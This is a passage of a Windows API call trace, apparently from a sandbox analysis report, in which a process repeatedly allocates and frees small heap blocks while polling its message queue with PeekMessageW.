returned 0 [0168.150] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec810 | out: hHeap=0xe80000) returned 1 [0168.150] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.150] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.150] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.150] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0168.150] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0168.150] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.150] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.150] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0168.150] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.151] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0168.151] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.151] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.151] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.151] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0168.151] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0168.151] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.151] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.151] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0168.151] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.152] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0168.152] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0168.152] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0168.152] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.152] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0168.153] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0168.153] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0168.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0168.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0168.154] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.154] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0168.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0168.154] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.154] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0168.154] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.155] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7958 [0168.155] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7958 | out: hHeap=0xe80000) returned 1 [0168.155] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.155] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.155] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0168.155] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.155] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0168.155] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0168.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0168.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec490 [0168.156] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec490 | out: hHeap=0xe80000) returned 1 [0168.157] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7958 [0168.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7958 | out: hHeap=0xe80000) returned 1 [0168.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0168.157] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec4d0 | out: hHeap=0xe80000) returned 1 [0168.158] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0168.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0168.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0168.158] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0168.158] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0168.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0168.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0168.159] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0168.159] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0168.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0168.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0168.160] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0168.160] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0168.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0168.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0168.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0168.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0168.161] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0168.161] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0168.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed77b8 [0168.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed77b8 | out: hHeap=0xe80000) returned 1 [0168.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0168.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0168.161] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0168.162] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7a38 [0168.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7a38 | out: hHeap=0xe80000) returned 1 [0168.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0168.163] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0168.163] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0168.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0168.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0168.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0168.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec810 [0168.164] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec810 | out: hHeap=0xe80000) returned 1 [0168.164] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0168.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0168.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0168.165] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0168.165] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0168.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0168.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0168.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0168.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec990 [0168.166] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.166] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec990 | out: hHeap=0xe80000) returned 1 [0168.166] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0168.167] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0168.167] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.167] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0168.167] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.167] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0168.167] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0168.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0168.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.168] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0168.168] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.168] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0168.168] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0168.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0168.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0168.169] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.169] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0168.169] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.169] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0168.170] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0168.170] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.170] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0168.170] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.170] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0168.170] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0168.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed77b8 [0168.170] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed77b8 | out: hHeap=0xe80000) returned 1 [0168.170] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.170] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0168.170] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0168.171] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba4f8 [0168.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10784a0 [0168.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa28 [0168.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784a0 | out: hHeap=0xe80000) returned 1 [0168.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba520 [0168.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10784a0 [0168.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10783e0 [0168.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783e0 | out: hHeap=0xe80000) returned 1 [0168.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10783f8 [0168.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, 